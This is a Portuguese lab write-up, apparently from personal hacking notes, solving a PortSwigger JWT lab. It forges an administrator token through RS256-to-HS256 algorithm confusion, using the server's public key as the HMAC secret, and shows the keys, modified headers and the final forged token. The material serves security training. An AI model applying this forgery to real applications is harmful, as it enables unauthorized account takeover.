> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/jwt/jwt-authentication-bypass-via-algorithm-confusion.md).
# Contorno de Autenticação JWT via Confusão de Algoritmo
### Bypass de autenticação JWT via confusão de algoritmo
**Descrição do laboratório**
Este laboratório usa um mecanismo de sessão baseado em JWT. / Os tokens normalmente são assinados e verificados usando um robusto **RSA** par de chaves. / No entanto, uma implementação ruim torna o aplicativo vulnerável a uma **confusão de algoritmo**.
Objetivo:
* Recupere a chave pública exposta pelo servidor por meio de um endpoint padrão.
* Use essa chave para forjar um JWT válido, permitindo acesso ao `/admin` painel de administração.
* Excluir usuário **carlos**.
Identificador fornecido:
* **wiener : peter**
**JWT inicial**
O cookie de sessão contém o seguinte JWT:
{% code overflow="wrap" %}
```bash
eyJraWQiOiJkZTU1ZDgzMS1iYzI3LTRiY2EtOTk4My05YTE2YTdiMDhkMmQiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1MTQ3MCwic3ViIjoid2llbmVyIn0.H9bVHxG5sHp4pcgkshhKMCOmPg8nSbjANDKoovntBwnJn8plUuGNC4tE_Iam9fIXYiZxTc5DjpLp8vhizHN34nfs1E31EzA59kYf2qNzV7ZbCiIayJPv_jqfCmDz8tRB5wtMecb1R8PkDNZ4sszfXaqLjbDQYRd_BxDVx_Sq-mHOJkVlfdgdZtalYbTnkomyVibvFNpSotmCGRQnbs7bgYT-z0E__-0Nx2BVV_bIeElCfDcnuAZhvt768kp9VxP023wJ7O-7hJdRwvKaqREA2oxHNn2awWu6dXACp8NMfSP_T7GOIByC4Iqj2rc26JmTZW2loDicEOztvQo0ZQ_YCQ
```
{% endcode %}
**Recuperação da chave pública**
A chave pública do servidor está acessível por meio de:
* `/.well-known/jwks.json`
* ou `/jwks.json`
Conteúdo retornado (JWKS):
{% code overflow="wrap" %}
```json
{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"use": "sig",
"kid": "de55d831-bc27-4bca-9983-9a16a7b08d2d",
"alg": "RS256",
"n": "iQWjnDjzeQvu5t8YoeFo21Ez1xfEA-L06C31G2BmqvZ5cQKKB9PD5Z6c8OxlhZDa9hNLDAIjiNzXHfX0HMeuqDj71ERgq87mIOJwrPMEbE6xlNDslKeDOGHiypLK4_iIIjn3WqsTb8l2YXG89ysdvXI9HL95hkVnQFh4SrI47pyMYQesbEz2MdXNVX4NcxHPaGStj-95ZXa6HRkrGpF0TlrhEur2Yip1A9o9VFQezgzCubEVatPyJevEyqC-k6OhDRhkKV3P3WLP5rZ34ZE-UjbGJQuhns8uV8XkHCllLLfnSaPlzc64Z6DrvWRbrMYy4-B-gAv-80GZBPbMRBT2oQ"
}
]
}
```
{% endcode %}
**Modificação do payload**
A carga útil do JWT é modificada para usurpar a conta de administrador:
```json
{
"iss": "portswigger",
"exp": 1767551470,
"sub": "administrator"
}
```
Criação da chave RSA
Copie e cole o arquivo jwks.json
```json
{
"kty": "RSA",
"e": "AQAB",
"use": "sig",
"kid": "de55d831-bc27-4bca-9983-9a16a7b08d2d",
"alg": "RS256",
"n": "iQWjnDjzeQvu5t8YoeFo21Ez1xfEA-L06C31G2BmqvZ5cQKKB9PD5Z6c8OxlhZDa9hNLDAIjiNzXHfX0HMeuqDj71ERgq87mIOJwrPMEbE6xlNDslKeDOGHiypLK4_iIIjn3WqsTb8l2YXG89ysdvXI9HL95hkVnQFh4SrI47pyMYQesbEz2MdXNVX4NcxHPaGStj-95ZXa6HRkrGpF0TlrhEur2Yip1A9o9VFQezgzCubEVatPyJevEyqC-k6OhDRhkKV3P3WLP5rZ34ZE-UjbGJQuhns8uV8XkHCllLLfnSaPlzc64Z6DrvWRbrMYy4-B-gAv-80GZBPbMRBT2oQ"
}
```
**Conversão da chave pública**
A chave pública RSA é convertida para **PEM** formato:
```bash
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAiQWjnDjzeQvu5t8YoeFo
21Ez1xfEA+L06C31G2BmqvZ5cQKKB9PD5Z6c8OxlhZDa9hNLDAIjiNzXHfX0HMeu
qDj71ERgq87mIOJwrPMEbE6xlNDslKeDOGHiypLK4/iIIjn3WqsTb8l2YXG89ysd
vXI9HL95hkVnQFh4SrI47pyMYQesbEz2MdXNVX4NcxHPaGStj+95ZXa6HRkrGpF0
TlrhEur2Yip1A9o9VFQezgzCubEVatPyJevEyqC+k6OhDRhkKV3P3WLP5rZ34ZE+
UjbGJQuhns8uV8XkHCllLLfnSaPlzc64Z6DrvWRbrMYy4+B+gAv+80GZBPbMRBT2
oQIDAQAB
-----END PUBLIC KEY-----
```
Essa chave é então codificada em **Base64**.
```bash
LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFpUVdqbkRqemVRdnU1dDhZb2VGbwoyMUV6MXhmRUErTDA2QzMxRzJCbXF2WjVjUUtLQjlQRDVaNmM4T3hsaFpEYTloTkxEQUlqaU56WEhmWDBITWV1CnFEajcxRVJncTg3bUlPSndyUE1FYkU2eGxORHNsS2VET0dIaXlwTEs0L2lJSWpuM1dxc1RiOGwyWVhHODl5c2QKdlhJOUhMOTVoa1ZuUUZoNFNySTQ3cHlNWVFlc2JFejJNZFhOVlg0TmN4SFBhR1N0ais5NVpYYTZIUmtyR3BGMApUbHJoRXVyMllpcDFBOW85VkZRZXpnekN1YkVWYXRQeUpldkV5cUMrazZPaERSaGtLVjNQM1dMUDVyWjM0WkUrClVqYkdKUXVobnM4dVY4WGtIQ2xsTExmblNhUGx6YzY0WjZEcnZXUmJyTVl5NCtCK2dBdis4MEdaQlBiTVJCVDIKb1FJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
```
**Crie uma chave simétrica (oct)**
A chave pública codificada em Base64 é usada como segredo HMAC:
```json
{
"kty": "oct",
"kid": "b164d13f-f42e-4d78-a539-fbb4b0eb267a",
"k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFpUVdqbkRqemVRdnU1dDhZb2VGbwoyMUV6MXhmRUErTDA2QzMxRzJCbXF2WjVjUUtLQjlQRDVaNmM4T3hsaFpEYTloTkxEQUlqaU56WEhmWDBITWV1CnFEajcxRVJncTg3bUlPSndyUE1FYkU2eGxORHNsS2VET0dIaXlwTEs0L2lJSWpuM1dxc1RiOGwyWVhHODl5c2QKdlhJOUhMOTVoa1ZuUUZoNFNySTQ3cHlNWVFlc2JFejJNZFhOVlg0TmN4SFBhR1N0ais5NVpYYTZIUmtyR3BGMApUbHJoRXVyMllpcDFBOW85VkZRZXpnekN1YkVWYXRQeUpldkV5cUMrazZPaERSaGtLVjNQM1dMUDVyWjM0WkUrClVqYkdKUXVobnM4dVY4WGtIQ2xsTExmblNhUGx6YzY0WjZEcnZXUmJyTVl5NCtCK2dBdis4MEdaQlBiTVJCVDIKb1FJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=="
}
```
**Confusão de algoritmo**
O cabeçalho do JWT é modificado para forçar o uso de **HS256**:
```json
{
"kid": "de55d831-bc27-4bca-9983-9a16a7b08d2d",
"alg": "HS256"
}
```
O servidor então usa a chave pública RSA como segredo HMAC, o que permite assinar um JWT aceito como válido.
\*\*JWT final forjado\*\*
```bash
eyJraWQiOiJkZTU1ZDgzMS1iYzI3LTRiY2EtOTk4My05YTE2YTdiMDhkMmQiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1MTQ3MCwic3ViIjoiYWRtaW5pc3RyYXRvciJ9._5C_qAZINXvvykAGhPVxUrWNxzyFnjsI49lONaKnk3A
```
Esse token dá acesso ao painel de administração, permitindo finalizar o laboratório removendo o usuário **carlos**.
---
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